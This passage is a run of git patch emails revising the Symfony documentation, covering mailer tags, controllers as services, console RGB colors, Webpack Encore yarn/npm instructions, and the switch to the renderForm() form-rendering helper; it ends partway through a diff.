From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Sep 2021 17:43:18 +0200
Subject: [PATCH 2497/7107] Remove an unneeded versionadded directive

---
 mailer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 701e6e17b0e..de07924528e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1256,10 +1256,6 @@ The following transports currently support tags and metadata:
 * Sendgrid
 * Sendinblue
 
-.. versionadded:: 5.4
-
-    The tag and metadata support for Sendgrid was introduced in Symfony 5.4.
-
 The following transports only support tags:
 
 * OhMySMTP

From cad2c973be4bed20357b8786bba60d4009dfa6ef Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Fri, 27 Aug 2021 15:16:55 +0200
Subject: [PATCH 2498/7107] [FrameworkBundle] fix docs for controller as
 services

---
 controller/service.rst | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index ff1f835d25a..35de22c6199 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -6,11 +6,26 @@ How to Define Controllers as Services
 
 In Symfony, a controller does *not* need to be registered as a service. But if you're
 using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-your controllers *are* already registered as services. This means you can use dependency
+and that your controllers extend the `AbstractController`_ class,
+they *are* already registered as services. This means you can use dependency
 injection like any other normal service.
 
-Referencing your Service from Routing
--------------------------------------
+If your controllers don't extend the `AbstractController`_ class, you must explicitly mark your controller
+services as ``public``.
+Alternatively, you can also tag controller services with the ``controller.service_arguments``.
+This will make the tagged services ``public`` and will allow you to inject services in method parameters:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+
+        # controllers are imported separately to make sure services can be injected
+        # as action arguments even if you don't extend any base controller class
+        App\Controller\:
+           resource: '../src/Controller/'
+           tags: ['controller.service_arguments']
 
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
@@ -222,5 +237,4 @@ If you want to know what type-hints to use for each service, see the
 
 .. _`Controller class source code`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
 .. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
-.. _`AbstractController`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/AbstractController.php
 .. _`ADR pattern`: https://en.wikipedia.org/wiki/Action%E2%80%93domain%E2%80%93responder

From 74d129d26be1a113d30298d8bfeb48d03305598e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 18 Sep 2021 16:07:08 +0200
Subject: [PATCH 2499/7107] Tweak

---
 controller/service.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index 35de22c6199..017b99c61c1 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -4,16 +4,17 @@
 How to Define Controllers as Services
 =====================================
 
-In Symfony, a controller does *not* need to be registered as a service. But if you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-and that your controllers extend the `AbstractController`_ class,
-they *are* already registered as services. This means you can use dependency
-injection like any other normal service.
-
-If your controllers don't extend the `AbstractController`_ class, you must explicitly mark your controller
-services as ``public``.
-Alternatively, you can also tag controller services with the ``controller.service_arguments``.
-This will make the tagged services ``public`` and will allow you to inject services in method parameters:
+In Symfony, a controller does *not* need to be registered as a service. But if
+you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+and your controllers extend the `AbstractController`_ class, they *are* automatically
+registered as services. This means you can use dependency injection like any
+other normal service.
+
+If your controllers don't extend the `AbstractController`_ class, you must
+explicitly mark your controller services as ``public``. Alternatively, you can
+apply the ``controller.service_arguments`` tag to your controller services. This
+will make the tagged services ``public`` and will allow you to inject services
+in method parameters:
 
 .. configuration-block::
 

From 9dd60cf9f70fe11e324740c22586252c9bf2af58 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 19 Sep 2021 16:11:43 +0200
Subject: [PATCH 2500/7107] [Console] Add support of RGB functional notation to
 output colors

---
 console/coloring.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/console/coloring.rst b/console/coloring.rst
index 7e77a090b25..15dc7eed0a5 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -58,6 +58,10 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
     Support for bright colors was introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    Support for RGB functional notation was introduced in Symfony 5.4.
+
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.
@@ -77,6 +81,9 @@ You can also set these colors and options directly inside the tag name::
     // red text
     $output->writeln('<fg=#c0392b>foo</>');
 
+    // chartreuse text
+    $output->writeln('<fg=rgb(127, 255, 0)>foo</>');
+
     // black text on a cyan background
     $output->writeln('<fg=black;bg=cyan>foo</>');
 

From e958c594e1e71e482c5aa0a93c977b8d900591f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Sep 2021 15:07:04 +0200
Subject: [PATCH 2501/7107] Minor tweak

---
 console/coloring.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 15dc7eed0a5..25bfc76298b 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -75,13 +75,13 @@ commonly used when asking the user to type sensitive information).
 
 You can also set these colors and options directly inside the tag name::
 
-    // green text
+    // using named colors
     $output->writeln('<fg=green>foo</>');
 
-    // red text
+    // using hexadecimal colors
     $output->writeln('<fg=#c0392b>foo</>');
 
-    // chartreuse text
+    // using RGB colors
     $output->writeln('<fg=rgb(127, 255, 0)>foo</>');
 
     // black text on a cyan background

From 0483ed6e0350f24df8a3c1d698b071cd4f6ebfbb Mon Sep 17 00:00:00 2001
From: Ali Zahedi <ali.zahedi1371@gmail.com>
Date: Wed, 15 Sep 2021 11:37:19 +0430
Subject: [PATCH 2502/7107] Update debug.rst

The service ID should not be surrounded by a single quote.
---
 service_container/debug.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/debug.rst b/service_container/debug.rst
index 635bbdfa9ae..e949f6234f9 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -29,7 +29,7 @@ its id:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:container 'App\Service\Mailer'
+    $ php bin/console debug:container App\Service\Mailer
 
     # to show the service arguments:
-    $ php bin/console debug:container 'App\Service\Mailer' --show-arguments
+    $ php bin/console debug:container App\Service\Mailer --show-arguments

From 65a32a6aecd38c27041e4df11e90ea9d6a0158f8 Mon Sep 17 00:00:00 2001
From: JakeFr <JakeFr@users.noreply.github.com>
Date: Tue, 17 Aug 2021 18:23:32 +0200
Subject: [PATCH 2503/7107] [OptionsResolver] Fix code sample for chaining

OptionConfigurator::allowedValues is a variadic function.
---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 37e14d5418a..85f6c17a695 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -883,7 +883,7 @@ method::
             $resolver->define('transport')
                 ->required()
                 ->default('transport')
-                ->allowedValues(['sendmail', 'mail', 'smtp']);
+                ->allowedValues('sendmail', 'mail', 'smtp');
         }
     }
 

From 895b84070bfa7441e2cfb01bcf5ddfb7bb82007f Mon Sep 17 00:00:00 2001
From: JakeFr <JakeFr@users.noreply.github.com>
Date: Sun, 22 Aug 2021 15:32:47 +0200
Subject: [PATCH 2504/7107] Update notifier.rst

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1ef5b5521f7..c552d757dff 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -529,7 +529,7 @@ sent using the Slack transport::
                 ->content('You got a new invoice for 15 EUR.')
                 ->importance(Notification::IMPORTANCE_HIGH);
 
-            $notifier->send($notification, new Recipient('wouter@example.com'));
+            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
 
             // ...
         }

From a749db1082f18cb03427b8dbd104c87719c27673 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Sep 2021 16:31:11 +0200
Subject: [PATCH 2505/7107] Revert an unneeded change

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c552d757dff..1ef5b5521f7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -529,7 +529,7 @@ sent using the Slack transport::
                 ->content('You got a new invoice for 15 EUR.')
                 ->importance(Notification::IMPORTANCE_HIGH);
 
-            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
+            $notifier->send($notification, new Recipient('wouter@example.com'));
 
             // ...
         }

From 5eda32cc5dbd896757e5aa2ba1f365a8c61cc018 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Sep 2021 17:09:07 +0200
Subject: [PATCH 2506/7107] Tweak formatting

---
 frontend/encore/advanced-config.rst | 12 ++---
 frontend/encore/bootstrap.rst       | 28 +++++------
 frontend/encore/dev-server.rst      | 24 ++++-----
 frontend/encore/installation.rst    | 26 +++++-----
 frontend/encore/postcss.rst         | 12 ++---
 frontend/encore/reactjs.rst         | 13 ++---
 frontend/encore/simple-example.rst  | 76 ++++++++++++++---------------
 frontend/encore/url-loader.rst      | 12 ++---
 frontend/encore/vuejs.rst           | 12 ++---
 9 files changed, 94 insertions(+), 121 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 7e5403a9a60..021fc25ce24 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -103,15 +103,13 @@ state of the current configuration to build a new one:
 When running Encore, both configurations will be built in parallel. If you
 prefer to build configs separately, pass the ``--config-name`` option:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn encore dev --config-name firstConfig
 
-        $ yarn encore dev --config-name firstConfig
-
-    .. code-block:: terminal
-
-        $ npm run dev -- --config-name firstConfig
+    # if you use the npm package manager
+    $ npm run dev -- --config-name firstConfig
 
 Next, define the output directories of each build:
 
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 1051b386032..ec7ecda5b01 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -5,15 +5,13 @@ This article explains how to install and integrate the `Bootstrap CSS framework`
 in your Symfony application using :doc:`Webpack Encore </frontend>`.
 First, to be able to customize things further, we'll install ``bootstrap``:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add bootstrap --dev
 
-        $ yarn add bootstrap --dev
-
-    .. code-block:: terminal
-
-        $ npm install bootstrap --save-dev
+    # if you use the npm package manager
+    $ npm install bootstrap --save-dev
 
 Importing Bootstrap Styles
 --------------------------
@@ -46,17 +44,15 @@ Importing Bootstrap JavaScript
 First, install the JavaScript dependencies required by the Bootstrap version
 used in your application:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        // jQuery is only required in versions prior to Bootstrap 5
-        $ yarn add jquery @popperjs/core --dev
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    # (jQuery is only required in versions prior to Bootstrap 5)
+    $ yarn add jquery @popperjs/core --dev
 
-        // jQuery is only required in versions prior to Bootstrap 5
-        $ npm install jquery @popperjs/core --save-dev
+    # if you use the npm package manager
+    # (jQuery is only required in versions prior to Bootstrap 5)
+    $ npm install jquery @popperjs/core --save-dev
 
 Now, require bootstrap from any of your JavaScript files:
 
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 16530c40dac..e61fb98fc64 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -4,15 +4,13 @@ Using webpack-dev-server and HMR
 While developing, instead of using ``yarn encore dev --watch``, you can use the
 `webpack-dev-server`_:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn encore dev-server
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn encore dev-server
 
-        $ npm run dev-server
+    # if you use the npm package manager
+    $ npm run dev-server
 
 This builds and serves the front-end assets from a new server. This server runs at
 ``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
@@ -27,15 +25,13 @@ you're done: the paths in your templates will automatically point to the dev ser
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn encore dev-server --https --port 9000
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn encore dev-server --https --port 9000
 
-        $ npm run dev-server -- --https --port 9000
+    # if you use the npm package manager
+    $ npm run dev-server -- --https --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
 method in your ``webpack.config.js`` file:
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 90d8daa0348..4985ec4d3f3 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -11,17 +11,15 @@ Installing Encore in Symfony Applications
 Run these commands to install both the PHP and JavaScript dependencies in your
 project:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    $ composer require symfony/webpack-encore-bundle
 
-        $ composer require symfony/webpack-encore-bundle
-        $ yarn install
+    # if you use the Yarn package manager
+    $ yarn install
 
-    .. code-block:: terminal
-
-        $ composer require symfony/webpack-encore-bundle
-        $ npm install
+    # if you use the npm package manager
+    $ npm install
 
 If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable
 the `WebpackEncoreBundle`_, create the ``assets/`` directory, add a
@@ -37,15 +35,13 @@ Installing Encore in non Symfony Applications
 
 Install Encore into your project via Yarn:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn add @symfony/webpack-encore --dev
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add @symfony/webpack-encore --dev
 
-        $ npm install @symfony/webpack-encore --save-dev
+    # if you use the npm package manager
+    $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
 dependencies into a ``node_modules/`` directory. Yarn also creates/updates a
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 2a859e7a109..86327e720f1 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -21,15 +21,13 @@ Encore, you're done!
 
 Next, download any plugins you want, like ``autoprefixer``:
 
-.. configuration-block::
+.. code-block:: terminal
 
-  .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add autoprefixer --dev
 
-      $ yarn add autoprefixer --dev
-
-  .. code-block:: terminal
-
-      $ npm install autoprefixer --save-dev
+    # if you use the npm package manager
+    $ npm install autoprefixer --save-dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 29a3093fe7a..96f45a09f5b 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -8,16 +8,13 @@ Enabling React.js
 
 Using React? First add some dependencies with Yarn:
 
+.. code-block:: terminal
 
-.. configuration-block::
+    # if you use the Yarn package manager
+    $ yarn add react react-dom prop-types
 
-    .. code-block:: terminal
-
-        $ yarn add react react-dom prop-types
-
-    .. code-block:: terminal
-
-        $ npm install react react-dom prop-types --save
+    # if you use the npm package manager
+    $ npm install react react-dom prop-types --save
 
 Enable react in your ``webpack.config.js``:
 
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3d6f0691e51..8d26987bdb5 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -57,31 +57,34 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an
 
 .. _encore-build-assets:
 
-To build the assets, run:
+To build the assets, run the following if you use the Yarn package manager:
 
-.. configuration-block::
+.. code-block:: terminal
+
+    # compile assets once
+    $ yarn encore dev
 
-    .. code-block:: terminal
+    # or, recompile assets automatically when files change
+    $ yarn encore dev --watch
 
-        # compile assets once
-        $ yarn encore dev
+    # on deploy, create a production build
+    $ yarn encore production
 
-        # or, recompile assets automatically when files change
-        $ yarn encore dev --watch
+    # if you use the npm package manager
+    $ npm install react react-dom prop-types --save
 
-        # on deploy, create a production build
-        $ yarn encore production
+If you use the npm package manager, run the following commands instead:
 
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        # compile assets once
-        $ npm run dev
+    # compile assets once
+    $ npm run dev
 
-        # or, recompile assets automatically when files change
-        $ npm run watch
+    # or, recompile assets automatically when files change
+    $ npm run watch
 
-        # on deploy, create a production build
-        $ npm run build
+    # on deploy, create a production build
+    $ npm run build
 
 .. note::
 
@@ -166,15 +169,13 @@ files. First, create a file that exports a function:
 
 We'll use jQuery to print this message on the page. Install it via:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn add jquery --dev
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add jquery --dev
 
-        $ npm install jquery --save-dev
+    # if you use the npm package manager
+    $ npm install jquery --save-dev
 
 Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
 
@@ -264,16 +265,13 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
 And because you just changed the ``webpack.config.js`` file, make sure to stop
 and restart Encore:
 
+.. code-block:: terminal
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn run encore dev --watch
-
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn run encore dev --watch
 
-        $ npm run watch
+    # if you use the npm package manager
+    $ npm run watch
 
 Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file
 in your build directory. And, if any of those files require/import CSS, Webpack
@@ -340,17 +338,15 @@ Encore. When you do, you'll see an error!
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
-.. configuration-block::
-
-    .. code-block:: terminal
-
-        $ yarn add sass-loader@^10.0.0 sass --dev
-        $ yarn encore dev --watch
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add sass-loader@^10.0.0 sass --dev
+    $ yarn encore dev --watch
 
-        $ npm install sass-loader@^10.0.0 sass --save-dev
-        $ npm run watch
+    # if you use the npm package manager
+    $ npm install sass-loader@^10.0.0 sass --save-dev
+    $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See
 :doc:`/frontend/encore/css-preprocessors`.
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 7b0d9595797..5242d3fcb1d 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -8,15 +8,13 @@ generated CSS files.
 Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but
 it's disabled by default. First, add the URL loader to your project:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn add url-loader --dev
 
-        $ yarn add url-loader --dev
-
-    .. code-block:: terminal
-
-        $ npm install url-loader --save-dev
+    # if you use the npm package manager
+    $ npm install url-loader --save-dev
 
 Then enable it in your ``webpack.config.js``:
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 3ed2edc5f88..a4162e00b65 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -35,15 +35,13 @@ The ``vue-loader`` supports hot module replacement: just update your code and wa
 your Vue.js app update *without* a browser refresh! To activate it, use the
 ``dev-server`` with the ``--hot`` option:
 
-.. configuration-block::
+.. code-block:: terminal
 
-    .. code-block:: terminal
+    # if you use the Yarn package manager
+    $ yarn encore dev-server --hot
 
-        $ yarn encore dev-server --hot
-
-    .. code-block:: terminal
-
-        $ npm run dev-server -- --hot
+    # if you use the npm package manager
+    $ npm run dev-server -- --hot
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
 note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing

From 6d6ad2e85b166f69db0c395550eedd130413eb97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 09:22:40 +0200
Subject: [PATCH 2507/7107] Minor tweak

---
 components/yaml.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index c902ee66ddf..46327c39e74 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -433,11 +433,12 @@ Then, execute the script for validating contents:
     # or contents passed to STDIN
     $ cat path/to/file.yaml | php lint.php
 
-Use the `--exclude` option to exclude one or more specific files from multiple file list:
+    # you can also exclude one or more files from linting
+    $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
 
-.. code-block:: terminal
+.. versionadded:: 5.4
 
-    $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
+    The ``--exclude`` option was introduced in Symfony 5.4.
 
 The result is written to STDOUT and uses a plain text format by default.
 Add the ``--format`` option to get the output in JSON format:

From 7aa463f5ab8cdee0534508473617278fbd41bb25 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 09:23:15 +0200
Subject: [PATCH 2508/7107] Remove a versionadded directive

---
 components/yaml.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index 46327c39e74..817c0a252c0 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -436,10 +436,6 @@ Then, execute the script for validating contents:
     # you can also exclude one or more files from linting
     $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
 
-.. versionadded:: 5.4
-
-    The ``--exclude`` option was introduced in Symfony 5.4.
-
 The result is written to STDOUT and uses a plain text format by default.
 Add the ``--format`` option to get the output in JSON format:
 

From da3aad12db481fa5f61098aa358c85e7f587a8d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 11:00:19 +0200
Subject: [PATCH 2509/7107] Minor tweak

---
 configuration/multiple_kernels.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 4bea4797349..80d799085e9 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -126,6 +126,8 @@ files so they don't collide with the files from ``src/Kernel.php``::
             // ... load only the config routes strictly needed for the API
         }
 
+        // If you need to run some logic to decide which bundles to load,
+        // you might prefer to use the registerBundles() method instead
         private function getBundlesPath(): string
         {
             // load only the bundles strictly needed for the API
@@ -133,6 +135,10 @@ files so they don't collide with the files from ``src/Kernel.php``::
         }
     }
 
+.. versionadded:: 5.4
+
+    The ``getBundlesPath()`` method was introduced in Symfony 5.4.
+
 Step 3) Define the Kernel Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From fe526126d1eeb9ef9c9772ac68ae962247c34799 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Sep 2021 11:00:43 +0200
Subject: [PATCH 2510/7107] Remove a versionadded directive

---
 configuration/multiple_kernels.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 80d799085e9..0a9e5c5ca6d 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -135,10 +135,6 @@ files so they don't collide with the files from ``src/Kernel.php``::
         }
     }
 
-.. versionadded:: 5.4
-
-    The ``getBundlesPath()`` method was introduced in Symfony 5.4.
-
 Step 3) Define the Kernel Configuration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 4b259cc8e783c167c5f415e530a21353d03a5093 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Sun, 14 Mar 2021 19:54:20 +0100
Subject: [PATCH 2511/7107] Replace render by new renderForm method in form
 documentation

---
 form/direct_submit.rst             |  4 +---
 form/dynamic_form_modification.rst |  5 +----
 form/form_collections.rst          |  4 +---
 forms.rst                          | 13 +++++++------
 4 files changed, 10 insertions(+), 16 deletions(-)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 92dc09c5de5..2d42c8116ec 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -29,9 +29,7 @@ control over when exactly your form is submitted and what data is passed to it::
             }
         }
 
-        return $this->render('task/new.html.twig', [
-            'form' => $form->createView(),
-        ]);
+        return $this->renderForm('task/new.html.twig', $form);
     }
 
 The list of fields submitted with the ``submit()`` method must be the same as
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 7c52e5f3abd..e0b25e92190 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -534,10 +534,7 @@ your application. Assume that you have a sport meetup creation controller::
                 // ... save the meetup, redirect etc.
             }
 
-            return $this->render(
-                'meetup/create.html.twig',
-                ['form' => $form->createView()]
-            );
+            return $this->renderForm('meetup/create.html.twig', $form);
         }
 
         // ...
diff --git a/form/form_collections.rst b/form/form_collections.rst
index e35e1d8be67..3d7393ac9e4 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -164,9 +164,7 @@ In your controller, you'll create a new form from the ``TaskType``::
                 // ... do your form processing, like saving the Task and Tag entities
             }
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
-            ]);
+            return $this->renderForm('task/new.html.twig', $form);
         }
     }
 
diff --git a/forms.rst b/forms.rst
index 3814caa0646..45d2c79b1e1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -277,12 +277,15 @@ to build another object with the visual representation of the form::
 
             $form = $this->createForm(TaskType::class, $task);
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
-            ]);
+            return $this->renderForm('task/new.html.twig', $form);
         }
     }
 
+.. versionadded:: 5.3
+
+    The ``renderForm`` method was introduced in Symfony 5.3, allowing to
+    return 422 HTTP status code if an invalid form is submitted.
+
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
 
@@ -405,9 +408,7 @@ written into the form object::
                 return $this->redirectToRoute('task_success');
             }
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
-            ]);
+            return $this->renderForm('task/new.html.twig', $form);
         }
     }
 

From 773e81648adc917f5d97f0cc332c5deb5355b40c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Apr 2021 17:14:19 +0200
Subject: [PATCH 2512/7107] More changes for forms

---
 components/form.rst         |  6 ++++++
 controller/upload_file.rst  |  4 +---
 form/form_customization.rst |  5 +++--
 forms.rst                   | 18 +++++++-----------
 4 files changed, 17 insertions(+), 16 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 2b387ef326e..64551b72041 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -647,6 +647,12 @@ method:
             }
         }
 
+.. caution::
+
+    The form's ``createView()`` method should be called *after* ``handleRequest()`` is
+    called. Otherwise, when using :doc:`form events </form/events>`, changes done
+    in the ``*_SUBMIT`` events won't be applied to the view (like validation errors).
+
 This defines a common form "workflow", which contains 3 different possibilities:
 
 1) On the initial GET request (i.e. when the user "surfs" to your page),
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index edd17ed50dc..e908bf6e881 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -174,9 +174,7 @@ Finally, you need to update the code of the controller that handles the form::
                 return $this->redirectToRoute('app_product_list');
             }
 
-            return $this->render('product/new.html.twig', [
-                'form' => $form->createView(),
-            ]);
+            return $this->renderForm('product/new.html.twig', $form);
         }
     }
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 69d0a97e61d..bcc48070e63 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -20,8 +20,9 @@ enough to render an entire form, including all its fields and error messages:
 
 .. code-block:: twig
 
-    {# form is a variable passed from the controller and created
-      by calling to the $form->createView() method #}
+    {# form is a variable passed from the controller via either
+      $this->renderForm('...', $form)
+      or $this->render('...', ['form' => $form->createView()]) #}
     {{ form(form) }}
 
 The next step is to use the :ref:`form_start() <reference-forms-twig-start>`,
diff --git a/forms.rst b/forms.rst
index 45d2c79b1e1..c1fc9c10bf3 100644
--- a/forms.rst
+++ b/forms.rst
@@ -255,9 +255,7 @@ the ``data_class`` option by adding the following to your form type class::
 Rendering Forms
 ---------------
 
-Now that the form has been created, the next step is to render it. Instead of
-passing the entire form object to the template, use the ``createView()`` method
-to build another object with the visual representation of the form::
+Now that the form has been created, the next step is to render it::
 
     // src/Controller/TaskController.php
     namespace App\Controller;
@@ -281,10 +279,14 @@ to build another object with the visual representation of the form::
         }
     }
 
